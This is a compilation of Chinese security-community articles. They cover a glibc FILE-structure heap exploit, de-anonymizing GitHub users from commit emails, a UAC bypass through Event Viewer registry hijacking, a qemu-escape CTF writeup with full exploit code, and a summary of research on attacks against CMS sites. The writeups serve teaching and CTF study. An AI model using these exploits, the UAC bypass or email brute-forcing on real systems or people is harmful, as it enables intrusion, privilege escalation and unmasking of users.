可以看到 `__overflow` 被设置为 `winner` 函数，所以只要调用 `__overflow` 就会调用 `winner` 。
下面看看，怎么通过堆布局实现 `getshell`
在 `malloc.c:3472` 下好断点，运行，会被断下来。
这里是遍历 `unsorted bin` 的流程。
会进入这里原因在于此时 `fastbin` , `smallbin` 均为空，不能满足分配的需求，接着就会进入这里。
这里会有一个 `check` ，过不去就会 `malloc_printerr` ，进而 `abort` 。
第一次进入这里是可以过去的，然后会根据大小把 `victim` 放到合适的 `bin` 中，之前我们已经 把 `old_top` 的大小设置成了
`0x60`, 这里他就会被放到 `smallbin[5]` 里。
同时插入之前会先从`unsorted bin` 中 `unlink` (unsorted bin attack) ,这时可以 往 `victim->bk +
0x10` 写入 `victim->fd`， 之前我们已经设置 `victim->bk 为 _IO_list_all-0x10`, 所以在这里就可以 修改
`_IO_list_all` 为 `main_arena->top`
第一次遍历 `unsorted bin`, 从 `unsorted bin` 移除时的相关变量,内存数据。
可以看到 `bck` 会成为`unsorted bin` 的起始位置，然后
bck->fd = unsorted_chunks (av);
而且此时 `bck->fd` 为 `_IO_list_all`。
继续运行，再次断在了 `malloc.c:3472`。
可以看到，此时的 `_IO_list_all` 已经被修改成了 `<main_arena+88>`, `old_top` 被放到了
`smallbin[5]`， 而且此时 `victim->size` 为0， 所以下面会进入 `abort` 的流程。
我们来看看，此时构造的 `_IO_list_all` 的内容
`_IO_list_all` 偏移 `0x68` 为 `_chain` ，这也是之前设置 `old_top` 大小为 `0x60` 的原因。
这样就成功把 `old_top` 链入了 `_IO_list_all`。
下面看看该怎么拿 `shell`
在 `abort` 函数中会调用 `fflush(null)`
实际调用的是 `_IO_flush_all_lockp`
遍历 `_IO_list_all` 调用 `_IO_OVERFLOW (fp, EOF)`，其实就是调用
`fp->vtable->__overflow(fp,eof)`
第一次执行循环时，可以看上面的 `_IO_list_all` 数据，发现进入不了 `_IO_OVERFLOW` 这个判断，所以`_IO_list_all`
第一项的 `vtable` 中的数据是坏的也没有关系。
第二次循环，通过 `fp = fp->_chain` 找到我们的 `old_top`, 我们已经在这布局好了数据。
运行 `getshell`
### 总结
`FILE` 结构体是一个很好的攻击目标，学习一下很有必要
调试时，尽可能用最小的代码复现问题。
参考链接：
<http://www.evil0x.com/posts/13764.html>
<https://securimag.org/wp/news/buffer-overflow-exploitation/>
<https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/>
<http://repo.thehackademy.net/depot_ouah/fsp-overflows.txt>
<http://blog.angelboy.tw/> | 社区文章 |
**作者：[Tencent Blade Team] 彦修
公众号：[腾讯安全应急响应中心](https://mp.weixin.qq.com/s/KV3ME30s6VxCSI6XMSihgA
"腾讯安全应急响应中心")**
本文不涉及常见的基于代码关键字匹配的GitHub监控。而是从GitHub的账户出发，通过人的关系来获得一些代码搜索不具有的优势。
### 疑云乍现
问题要从一个晴朗而又妩媚的下午说起，我喝着娃哈哈，看着自认为世界上最优雅的代码，然而当我上传到GitHub私有仓库的时候，嘴角的一抹笑意停留在10秒24毫秒前的阳光下，因为我发现上传显示的用户并非是我，换句话说，commit页面并未显示我帅气的头像，我的职业第二敏感性告诉我，这个事情有点蹊跷：
a. 这个人是谁？
b. 我的机器被劫持了？
c.我的账户被黑了？
d. GitHub出问题了？
e. 某些未知原因？
a问题是比较好回答的，点进去发现是一个非常正常的用户，我总不至于被黑了，不行，职业尊严让我强制排除了这个选项，但是我比较关心的一个问题是ta是不是能看到我的代码？ta会不会因为如此优雅的代码而感到自愧不如？所以随后出于对他情感的考虑先清空了自己的代码。
对于b，更换了多台机器，发现仍然具有相同的问题，同样出于职业尊严，我的机器不可能都被黑了，所以问题坚决不在b。
随后又细细过滤了最近的GitHub登录记录，c的可能性也被排除了；再问周围的童鞋，d的问题也被排除了。
目前只剩下e原因，但是这句话其实相当于没有说，因为一切未知都能归结到未知。
### 刨根问底
问题在这已经陷入了死胡同，简单描述下就是：因为某些未知原因，我的GitHub的提交人变成了未知的某人，而且在换了多台机器之后，问题依然重复。一般遇到这种情况，我的习惯都是从头梳理整个流程，从全局分析可能存在问题的环节。当务之急是需要重新梳理下所有的流程，然后不断尝试，那么问题来了，从编写代码到下载Git并使用Git提交到GitHub的流程是什么呢？
Git首先需要下载到本地，下载本地的时候需要使用HTTP协议，HTTP协议是基于TCP的，说到TCP，那么就要了解三次握手…….
半小时后……
看着16位微处理器芯片8086微处理器总线接口部分(BIU) 和 执行部件(EU)知识的我……感觉再深挖下去估计要开始学习二氧化硅的化学反应了，呵，知识啊！
只好另辟蹊径，找了一个熟悉Git的强力外援，我们先尝试了……然后尝试了……接着又尝试了……终于功夫不负有心人，找到了最后的症结所在。不是故意跳过这段，实在是这个过程乏善可陈。
总之看下边重点了：
这个问题引发的根本原因是使用某发行版源仓库安装的Git默认内置了一个邮箱和用户名，然后GitHub在上传的时候识别用户是默认通过Git中配置的邮箱来识别，倘若用户邮箱存在（在GitHub注册或者登记）则显示匹配到的用户名，否则会显示Git配置中的用户名，验证之后发现这个邮箱不一定是注册邮箱，而是在设置里添加的都可以关联到，也就是刚刚提到的登记邮箱，即使你没有验证邮箱的归属权限，如下图。
而且尤其比较诡异的是使用Git config user.name 和Git config
user.email这两个命令查看均显示为空，就像这个命令从未执行一样，但是在使用Git
log的时候才会真正显示提交本次commit的用户名和邮箱，也就是该发行版Git内置的缺省账户和邮箱。
### 拨云见日
上边说了那么多，那么这个东西有什么用呢？我一直秉承一个观点：安全总是跟场景相关的，所以要想知道这个有什么危害，首先需要做的就是设想一些可利用的场景。
在这里最基本的利用方式是可以伪造别人去提交代码，但是这个对我们来说其实并没有什么太大的用处。准确来说，更多有一种恶作剧的味道。
那有没有什么其他的场景是比较有用的，其实在写这篇文章之前，我还是比较犹豫的，众所周知，GitHub有很多用户提交了一些比较敏感的东西，而作者是不想在现实中被发现的，但是上述提到这个接口，可以通过批量爆破邮箱从而获得对应的用户名。那么也有可能获得了那些不愿意公开自己身份用户的联系方式。
扯的有点远了，还是回归到题目当中GitHub监控的问题，当前GitHub监控一直是基于代码搜索中的关键字匹配，真的是谁用谁知道——那是相当的难用。所以目前很多人也是在爬虫和更好的过滤上下功夫。但是这个流程还有一个盲点存在，就是在发现违规上传的第一时间并不能特别准确的定位到具体的个人。
说完传统监控的缺陷同时，我们其实也找到了新的利用场景，因为入职信息登记都会写到自己的常用邮箱（还没有入职，所以基本填写自己私人常用邮箱），那么可以通过这个接口来获得对应的用户账户，换句话说，安全团队基本就有了部分员工注册的GitHub账户，这个时候违规上传公司代码的监控是不是可以做一些分级管理，重点监控。而且更重要的一点，这也解决了发现问题简单、定位人员困难的问题。
至于操作过程，就相当简单了，新建一个项目，然后使用脚本修改自己用户邮箱进行commit，在这里我以修改自己的邮箱为例：
之后push到GitHub上去，最后在GitHub上就可以看到绑定了对应邮箱的用户，如下图（项目地址：<https://github.com/daysdaysup/TSRC_TEST>）：
至于剩下的就不用再多说了。套用一句比较流行的打油诗：懂的自然懂，刀剑侠客梦，事了拂衣去，深藏身与名。
最后特别致谢我的师兄吴恒，感谢他在撰写本文时提供的帮助。
* * * | 社区文章 |
# 【技术分享】看我如何利用事件查看器绕过UAC（用户帐户控制）
|
##### 译文声明
本文是翻译文章，文章来源：pentestlab.blog
原文地址：<https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
用户账户控制（UAC）是微软开发出的一套安全控制机制，其目的是为了限制未经授权的应用程序以管理员等级的权限执行，但是当管理员提供了密码并允许该程序执行的话，那么这个非特权应用仍然能够以管理员权限运行。这也就意味着，由于用户账户控制机制的存在，渗透测试人员就可以通过Meterpreter来阻止这种提权方法。
下图即为UAC阻止应用程序提权的演示样例：
**Matt Nelson在其发布的技术博客中解释称，通过劫持注册表键，我们是有可能利用类似Event
Viewer（事件查看器）这样的原生Windows服务来绕过用户账户控制（UAC）的。** 首先，Event
Viewer（事件查看器）的进程（eventvwr.exe）是以高级完整权限运行的；其次，Event Viewer（事件查看器）是Microsoft
Management Console（微软管理控制台）通过注册表进行加载的，因此我们的这个假设完全是可以实现的。
**手动实现**
在新版本的Windows（包括Vista及其之后版本）平台中，进程是以三种不同的权限等级运行的。系统可以通过这三个不同的等级来确定进程最终以哪一种权限来运行：
-高级：管理员权限
-中级：标准用户权限
-低级：受限制权限
我们可以根据Process
Explorer（进程查看器）来确定一个进程所分配到的权限等级。当事件查看器出于运行过程中时，我们可以通过下面这两个因素来检查Windows进程的权限：
1\. 系统通过微软管理控制台（mmc.exe）加载事件查看器；
2\. 事件查看器以高级完整权限运行；
从下图中可以看到，事件查看器进程是以高级权限运行的：
这里需要注意的是，当eventvwr.exe被执行之后，它会尝试在下面这两个注册表地址中搜索mmc.exe：
-HKCUSoftwareClassesmscfileshellopencommand
-HKCRmscfileshellopencommand
由于第一个注册表地址并不存在，因此mmc.exe会以第二个注册表地址运行，随后该地址便会加载文件eventvwr.msc并将相关信息显示给用户。
下图即为MMC以及事件查看器的相关信息：
这样一来，攻击者就有可能创建一个压根不存在的注册表地址来以高级权限运行某个进程了，而这样就可以允许攻击者绕过目标系统的用户账户控制（UAC）。
下图显示的是攻击者通过事件查看器来提升命令控制台（CMD）权限的操作界面：
当eventvwr.exe得到执行之后，它将会直接打开命令控制台窗口，而且在整个过程中系统既不会弹出用户账户控制窗口，也不会请求高级权限。如下图所示：
这项攻击技术的隐蔽性非常高，因为整个过程根本无需触及硬盘，而且也不需要进行任何的进程注入，这样就可以防止被那些基于进程行为监控的反病毒产品或安全解决方案所检测到。
**自动化实现**
需要注意的是，我们还可以通过一个不可检测的恶意Payload来代替之前所弹出的命令控制台窗口，这样不仅可以允许我们通过Meterpreter会话来实现自动化提权，而且还可以执行很多其他的系统级指令。我们可以在注册表中加载自定义Payload：
我们可以在进程查看器中看到，进程pentestlab3.exe再一次以高级权限运行了：
Metasploit的handler模块可以捕获到提权的Meterpreter会话，而此时我们就可以给目标应用进行提权了，因为我们现在已经绕过了目标系统的用户账户控制。
**Metasploit**
除了上面所描述的技术方法之外，我们也可以使用Metasploit提供的模块来实现整个攻击过程的自动化，并自动返回一个高权限的Meterpreter会话。命令如下：
exploit/windows/local/bypassuac_eventvwr
通过事件查看器绕过用户账户控制（Metasploit版）：
**参考资料**
1\. <https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/>
2\. [https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1)
3\.
[https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_eventvwr](https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_eventvwr)
4\. [https://www.mdsec.co.uk/2016/12/cna-eventvwr-uac-bypass/](https://www.mdsec.co.uk/2016/12/cna-eventvwr-uac-bypass/)
5\.
[https://github.com/mdsecresearch/Publications/blob/master/tools/redteam/cna/eventvwr.cna](https://github.com/mdsecresearch/Publications/blob/master/tools/redteam/cna/eventvwr.cna) | 社区文章 |
# strng2 湖湘杯 2019
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 前言
比赛的时候没做出来, 最近正好在跟着大佬的仓库[1]学习 qemu pwn , 所以就复现一下. 现在看来这题真的挺简单的.
希望以后也能多多遇见这种简单的qemu pwn题23333.
关于qemu pwn的一些基础知识网上相关的文章已经很多了, 我就不再重复了. 可以参考[4]
这是我发的第一道关于 qemu pwn的文章, 所以写的比较详细. 会把做题的具体步骤都详细说一下. 一是总结一下做这种题的流程,
而是尽量保证读者跟着做就可以复现成功. 如果遇到什么问题欢迎评论指出.
题目文件
链接: https://pan.baidu.com/s/1VhjF9v1tKGyH9-3IcPoJJg 提取码: uw7g
目前做过的qemu pwn题的形式大都是基于qemu源码进行修改或这添加, 使得 qemu 模拟的某个pci设备有漏洞, 而用户需要通过利用这些漏洞获取
宿主机上的 flag.
## 2\. 漏洞分析
拿到题目先解压, 然后看一下启动脚本
➜ strng2 cat launch.sh
#! /bin/sh
./qemu-system-x86_64
-initrd ./rootfs.cpio
-kernel ./vmlinuz-4.8.0-52-generic
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'
-enable-kvm
-monitor /dev/null
-m 64M --nographic -L ./dependency/usr/local/share/qemu
-L pc-bios
-device strng
通过 `-device strng` 可以得知设备名称为 `strng`
然后用 IDA 加载 qemu-system-x86_64, 并搜索函数名中包含 strng 的函数.
先看看 class_init 函数
void __cdecl strng_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass_0 *k; // ST18_8
k = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(
a1,
"pci-device",
"/home/w0lfzhang/Desktop/qemu-2.8.1.1/hw/misc/strng.c",
172,
"strng_class_init");
k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
k->exit = pci_strng_uninit;
k->vendor_id = 0x1234;
k->device_id = 0x11E9;
k->revision = 0x10;
k->class_id = 0xFF;
}
可以得知该设备的vendor_id:device_id 为 1234:11e9
然后启动qemu, 并执行 lspci
Welcome to QEMU-ESCAPE
qemu login: root
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9
通过比对vendor_id 和 device_id 可以确定 该设备的 pci 地址为 00:04.0
然后我们就可以进入该设备的目录, 并cat resource 文件看一下该设备的地址空间(关于这个目录中文件的作用可以参考[2])
# cd /sys/devices/pci0000:00/0000:00:04.0/
# cat resource
start end flags
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
可以看到有两块地址空间.
因为这儿的文件系统是用busybox 制作的, 提供的lspci功能比较简陋. 所以无法看出两个地址空间究竟是 PMIO 还是 MMIO (关于PMIO 和
MMIO 可以参考 [4]).
但是我们可以通过 `/proc/iomem` 和 `/proc/ioports` 这两个文件来确定
# cat /proc/ioports
...
c050-c057 : 0000:00:04.0
...
# cat /proc/iomem
...
febf1000-febf10ff : 0000:00:04.0
...
至此可以确定 端口号 `c050-c057` 和物理地址 `febf1000-febf10ff` 是属于这个设备的, 对这些地址空间进行读写操作就可以触发
qemu 中对应的函数.
还可以根据resource文件中对应的flags判断. 根据 linux 源码[5]中如下定义
#define IORESOURCE_IO 0x00000100 /* PCI/ISA I/O ports */
#define IORESOURCE_MEM 0x00000200
也可以确定第一行是 MMIO, 第二行是 PMIO.
到这儿已经可以确定设备的地址空间了, 我们就可以通过对这些地址空间进行读写操作来调用对应的回调函数.
比如往物理地址 `0xfebf1000` 写一个字节, qemu就会调用 `strng_pmio_write` 这个函数.
地址空间和回调函数的绑定是在 realize 函数中 调用 `memory_region_init_io` 实现的.
void __cdecl pci_strng_realize(struct STRNGState *pdev, Error_0 **errp)
{
struct STRNGState *strng; // ST18_8
strng = pdev;
timer_init_ms_0(&pdev->strng_timer, QEMU_CLOCK_VIRTUAL_0, (QEMUTimerCB *)strng_timer, pdev);
// 注册 mmio
memory_region_init_io(&strng->mmio, &strng->pdev.qdev.parent_obj, &strng_mmio_ops, strng, "strng-mmio", 0x100uLL);
pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
// 注册 pmio
memory_region_init_io(&strng->pmio, &strng->pdev.qdev.parent_obj, &strng_pmio_ops, strng, "strng-pmio", 8uLL);
pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}
/*
...
.data.rel.ro:000055555636D080 strng_mmio_ops dq offset strng_mmio_read; read
.data.rel.ro:000055555636D080 ; DATA XREF: pci_strng_realize+75↑o
.data.rel.ro:000055555636D080 dq offset strng_mmio_write; write
...
.data.rel.ro:000055555636D100 ; const MemoryRegionOps_0 strng_pmio_ops
.data.rel.ro:000055555636D100 strng_pmio_ops dq offset strng_pmio_read; read
.data.rel.ro:000055555636D100 ; DATA XREF: pci_strng_realize+CB↑o
.data.rel.ro:000055555636D100 dq offset strng_pmio_write; write
*/
接下来就要分析这个设备的实现了, 重点自然是 MMIO, PMIO 的读写回调函数.
uint64_t __cdecl strng_mmio_read(struct STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
if ( size != 4 || addr & 3 )
result = -1LL;
else
result = opaque->regs[addr>>2]; //oob read
return result;
}
void __cdecl strng_pmio_write(struct STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // rax
uint32_t saddr; // [rsp+24h] [rbp-Ch]
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 && !(opaque->addr & 3) )
{
saddr = opaque->addr >> 2;
if ( saddr == 1 )
{
opaque->regs[1] = rand();
}
else if ( saddr < 1 )
{
srand(val);
}
else if ( saddr == 3 )
{
opaque->regs[3] = rand_r(&opaque->regs[2]);
}
else
{
opaque->regs[saddr] = val; // oob write
if ( opaque->flag )
{
v4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->strng_timer, v4 + 100);
}
}
}
}
else
{
opaque->addr = val;
}
}
}
void __cdecl strng_pmio_write(struct STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // rax
uint32_t saddr; // [rsp+24h] [rbp-Ch]
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 && !(opaque->addr & 3) )
{
saddr = opaque->addr >> 2;
if ( saddr == 1 )
{
opaque->regs[1] = rand();
}
else if ( saddr < 1 )
{
srand(val);
}
else if ( saddr == 3 )
{
opaque->regs[3] = rand_r(&opaque->regs[2]);
}
else
{
*((_DWORD *)&opaque->pdev.qdev.parent_obj.free + saddr + 0x2BCLL) = val;
if ( opaque->flag )
{
v4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->strng_timer, v4 + 100); // 启动定时器
}
}
}
}
else
{
opaque->addr = val;
}
}
}
00000000 STRNGState struc ; (sizeof=0xC30, align=0x10, copyof_1437)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009F0 pmio MemoryRegion_0 ?
00000AF0 addr dd ?
00000AF4 flag dd ?
00000AF8 regs dd 64 dup(?)
00000BF8 strng_timer QEMUTimer_0 ?
00000C28 db ? ; undefined
00000C29 db ? ; undefined
00000C2A db ? ; undefined
00000C2B db ? ; undefined
00000C2C db ? ; undefined
00000C2D db ? ; undefined
00000C2E db ? ; undefined
00000C2F db ? ; undefined
00000C30 STRNGState ends
00000000 QEMUTimer_0 struc ; (sizeof=0x30, align=0x8, copyof_506)
00000000 ; XREF: IscsiTask/r
00000000 ; STRNGState/r
00000000 expire_time dq ?
00000008 timer_list dq ? ; offset
00000010 cb dq ? ; offset
00000018 opaque dq ? ; offset
00000020 next dq ? ; offset
00000028 scale dd ?
0000002C db ? ; undefined
0000002D db ? ; undefined
0000002E db ? ; undefined
0000002F db ? ; undefined
00000030 QEMUTimer_0 ends
上图可以明显看到一个mmio_read中有越界读漏洞, mmio_write中有越界写漏洞. 结合 `STRNGState` 这个结构体的内容可以看到
regs 后面接的是 一个 `QEMUTimer_0` 结构体. 这个结构体是一个定时器. 其中 cb 是函数指针(callback function),
而 opaque 就是传给 callback function 的参数.
而在 pmio_write 函数中可以启动定时器.
所以利用思路就很简单了.
1. 因为 `QEMUTimer_0` 的cb 初始化时是指向 elf中的一个函数的, 所以我们可以利用越界读把这个地址读出来, 从而拿到 elf 的基地址, 绕过 PIE.
2. 利用 `QEMUTimer_0` 的 opaque leak 堆地址
3. 往 regs[3]-regs[6] 中写入字符串 “cat /root/flag”
4. 利用pwndbg 的probeleak命令在 堆上找到一个指向libc 的地址, leak libc地址
5. 把 cb 修改为 system 地址
6. 把 opaque 修改为 “cat /root/flag”的地址
7. 启动定时器.
(其实不leak libc地址也可以, 有了 elf 基地址之后可以用 system[@plt](https://github.com/plt
"@plt") 的地址)
## 3\. exploit
//cc -m32 -O0 -static -o exp exp.c
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
#define MMIO_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define PMIO_BASE 0xc050
char* MMIO_BASE;
void die(char* msg){
perror(msg);
exit(-1);
}
void init_io(){
int mmio_fd = open(MMIO_FILE, O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("open mmio file error");
MMIO_BASE = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (MMIO_BASE == MAP_FAILED)
die("mmap mmio file failed");
if (iopl(3) != 0)
die("io permission requeset failed");
}
uint32_t pmio_read(uint32_t offset){
return (uint32_t)inl(PMIO_BASE + offset);
}
void pmio_write(uint32_t offset, uint32_t val){
outl(val, PMIO_BASE + offset);
}
uint32_t mmio_read(uint32_t offset){
return *(uint32_t *)(MMIO_BASE + offset);
}
void mmio_write(uint32_t offset, uint32_t val){
*(uint32_t *)(MMIO_BASE + offset) = val;
}
uint32_t pmio_oob_read(uint32_t offset) {
pmio_write(0, offset);
return pmio_read(4);
}
void pmio_oob_write(uint32_t offset, uint32_t val){
pmio_write(0, offset);
pmio_write(4, val);
}
/*
cat /root/flag
0x20746163
0x6f6f722f
0x6c662f74
0x00006761
*/
int main(int argc, char **argv){
uint64_t elf_base, state_addr, libc_base, system_addr;
uint32_t reg_offset = 0xaf8;
init_io();
mmio_write(0x10, 0x20746163);
mmio_write(0x14, 0x6f6f722f);
mmio_write(0x18, 0x6c662f74);
mmio_write(0x1c, 0x00006761);
elf_base = pmio_oob_read(0xc0c-reg_offset);
elf_base <<= 32;
elf_base |= pmio_oob_read(0xc08-reg_offset);
elf_base -= 0x29ac8e;
printf("elf_base : %#llxn", elf_base);
state_addr = pmio_oob_read(0xc14-reg_offset);
state_addr <<= 32;
state_addr |= pmio_oob_read(0xc10-reg_offset);
printf("state_addr : %#llxn", state_addr);
libc_base = pmio_oob_read(0x7698+4-reg_offset);
libc_base <<= 32;
libc_base |= pmio_oob_read(0x7698-reg_offset);
libc_base -= 0x3c4b78;
printf("libc_base : %#llxn", libc_base);
system_addr = libc_base+0x45390;
// overwrite cb function ptr
pmio_oob_write(0xc0c-reg_offset, (uint32_t)(system_addr>>32));
pmio_oob_write(0xc08-reg_offset, (uint32_t)(system_addr&0xffffffff));
// overwrite function's argument
pmio_oob_write(0xc14-reg_offset, (uint32_t)((state_addr+0xb08) >> 32));
pmio_oob_write(0xc10-reg_offset, (uint32_t)((state_addr+0xb08) & (0xffffffff)));
// trigger timer -> call-back function
mmio_write(0x20, 0);
pmio_oob_write(0, 0);
sleep(1);
return 0;
}
## 4\. 一些小技巧
### 4.1. 交互
**4.1.1. MMIO**
这题中我们通过 cat resource 文件已经可以确定物理地址 `febf1000-febf10ff` 是属于这个设备的.
要访问这块物理地址我们有两种方式:
1. mmap /sys/devices/pci0000:00/0000:00:04.0/resource0 这个文件之后然后读写[3]
2. mmap /dev/mem 通过/dev/mem 可以访问整个物理内存. (mam mem for more information)
这两种方式我都集成在了我的模板之中. 有些题目只能用第二种方法. 具体情况具体分析
**4.1.2. PMIO**
直接用 inx 和 outx 函数即可. 要注意的是需要先调用 `iopl(3)` 来提升io 权限, 否则可能会读写失败.
### 4.2. 调试
➜ strng2 cat ./debug
file qemu-system-x86_64
b strng_mmio_read
b strng_mmio_write
b strng_pmio_read
b strng_pmio_write
set $state=0x555556a64db0
set $addr=$state+0xaf0
set $regs=$state+0xaf8
set $timer=$state+0xbf8
run -initrd ./rootfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -L ./dependency/usr/local/share/qemu -L pc-bios -device strng
➜ strng2 sudo gdb --command=./debug
### 4.3. 传输exp
我是用Makefile的, 编译打包一条命令就可以了
➜ rootfs cat Makefile
exp:
cc -m32 -O0 -static -o exp exp.c
find . | cpio -H newc -ov -F ../rootfs.cpio
rm exp
### 4.4. exp template
做了几个题目我也总结了一个 qemu pwn 的exp模板, 封装了一些简单的函数, 仅供参考(会持续更新)
<https://github.com/pullp/pwn_framework/blob/master/templates/qemu_pci_template.c>
## 4\. 总结
总的来说这题比较简单, 适合用来入门. 因为这个题目既学到了很多知识, 同时也发现了更多要学的东西2333.
## 参考
[1] [ray-cp师傅的vm-escape 库](https://github.com/ray-cp/vm-escape)
[2] [sysfs-pci.txt](https://www.kernel.org/doc/Documentation/filesystems/sysfs-pci.txt)
[3]
[pci设备开发基础知识](https://techpubs.jurassic.nl/manuals/linux/developer/REACTLINUX_PG/sgi_html/ch07.html)
[4] [qemu pwn-基础知识](https://xz.aliyun.com/t/6562)
[5]
[ioport.h](https://github.com/torvalds/linux/blob/master/include/linux/ioport.h) | 社区文章 |
# 针对CMS的网络攻击中的快照回滚研究（三）
##### 译文声明
本文是翻译文章，文章原作者 Ranjita Pai Kasturi, Yiting Sun, Ruian Duan, Omar Alrawi, Ehsan
Asdar, Victor Zhu,Yonghwi Kwon, Brendan Saltaformaggio，文章来源：computer.org
原文地址：<https://www.computer.org/csdl/proceedings-article/sp/2020/349700a768/1gyORHgjoT6>
译文仅供参考，具体内容表达以及含义原文为准。
这项研究有机会研究了超过300,000个不同网站生产的每晚备份。在此过程中评估了基于CMS的网站的攻击情况，并评估了备份和还原保护方案的有效性。令人惊讶的是，发现成千上万次攻击的演变表现出清晰的长期多阶段攻击模式。TARDIS，一种来源推断技术，它可以仅基于网站托管公司已经收集的每晚备份来调查和补救针对CMS的攻击。
本文中将介绍TARDIS的在野部署和案例研究，以及相关工作和局限性。
## 0x01 Deploying TARDIS in the Wild
在确认TARDIS的分析能够准确捕获基于CMS的网站备份中的攻击标签后，与CodeGuard合作，将TARDIS部署在其数据集的很大一部分上。利用此访问权从306个830个唯一网站（从2014年3月到2019年5月）的每晚备份中，以经验方式衡量基于CMS的网站在现实世界中的运行状况。在本节中记录了使用TARDIS来了解基于CMS的网站所面临的威胁态势的发现。也正在与CodeGaurd合作，以将发现告知网站所有者，并补救发现的攻击。
实验设置：使用了具有8个虚拟CPU和64 GB RAM的Amazon Web
Services（AWS）弹性计算（EC2）r5.2xlarge实例。这些实例在AWS
Batch作业调度引擎的监督下在数百个网站备份上并行运行TARDIS。
使用了几种工具来协助调查：CMS分类建立在WhatCMS和CMS Garden的基础上。
TARDIS用Python（2500行代码）编写，并利用zxcvbn进行注入元素名称中的熵估计，并利用Pandas进行数据分析。
### A. CMS布局
上表列出了306、830个网站中的入侵行为分布。第1列和第2列分别显示了CMS平台及其分布。第3列显示了被TARDIS标记为被破坏的网站的数目，即TARDIS输出多阶段攻击标签和被入侵窗口的网站。第4到第6列分别显示每个CMS的文件平均总数（“空间元素”），受感染网站中的平均文件数以及仅良性网站中的平均文件数。
提如第2列所示，大多数网站都使用WordPress作为其底层CMS。在此数据集中，看到96％的网站使用WordPress，高于实际趋势。这是由于WordPress用户在CodeGuard生产环境中的市场份额很高。从表的第2列可以看出，除了Contao之外，此数据集中的所有CMS都是多阶段攻击的受害者。总计发现20个，591个受到感染的网站。单独有19,260个WordPress网站感染了这些攻击（占WordPress网站总数的6.5％）。
有趣的是，超过16％的Joomla，13％的Drupal，18％的Prestashop和9％的Contenido网站是多阶段攻击的受害者。这表明这些攻击不仅针对CMS，而且也针对流行和较不流行的CMS。在此数据集中，约有5％的PivotX和TYPO
CMS3网站受到了长期存在的多阶段攻击的威胁，表明这些CMS由于其较小的市场份额可能不是受欢迎的攻击目标。
从表的第4列可以看出，几乎所有CMS平均都包含成千上万个文件。但是，一个有趣的指标是将受感染CMS中的文件平均数与良性CMS中的文件数进行比较。比较第5列和第6列时，很明显，攻击总是将大量文件注入CMS（在手动调查中也观察到了）。如表所示，几乎所有受感染的网站的文件数量增加了50％或更多。
TYPO3 CMS出现了文件数量最高的膨胀，受到危害时平均文件数量增加了150％。 WordPress位居第二，平均增长80％。
### B.攻击的演变
下表列出了TARDIS认定为受感染的20个591个网站中攻击模型的分布。第1至第8行显示了TARDIS分配的所有攻击标签的这些输出。第2至8列显示每个CMS标记为TARDIS入侵的网站的数量。表第4行的读数可作如下解释：在数据集中总共295,774个WordPress网站上运行TARDIS后，它发现了13,317个具有代码生成功能的受感染网站。最后，表中的第9行列出了每个CMS进行折衷的总数，以进行比较。
从上表可以看出，代码生成功能是最常见的策略，在所有攻击中有70％以上都可见，而与底层CMS无关。从该表的第1行，看到在所有CMS中标识建立立足点标签并不普遍，这主要是由于数据集的性质。但是，当被识别时，它是确认多阶段攻击的可靠指标。还有在完成攻击动机后，所有此类攻击中有20％以上试图清除其痕迹。
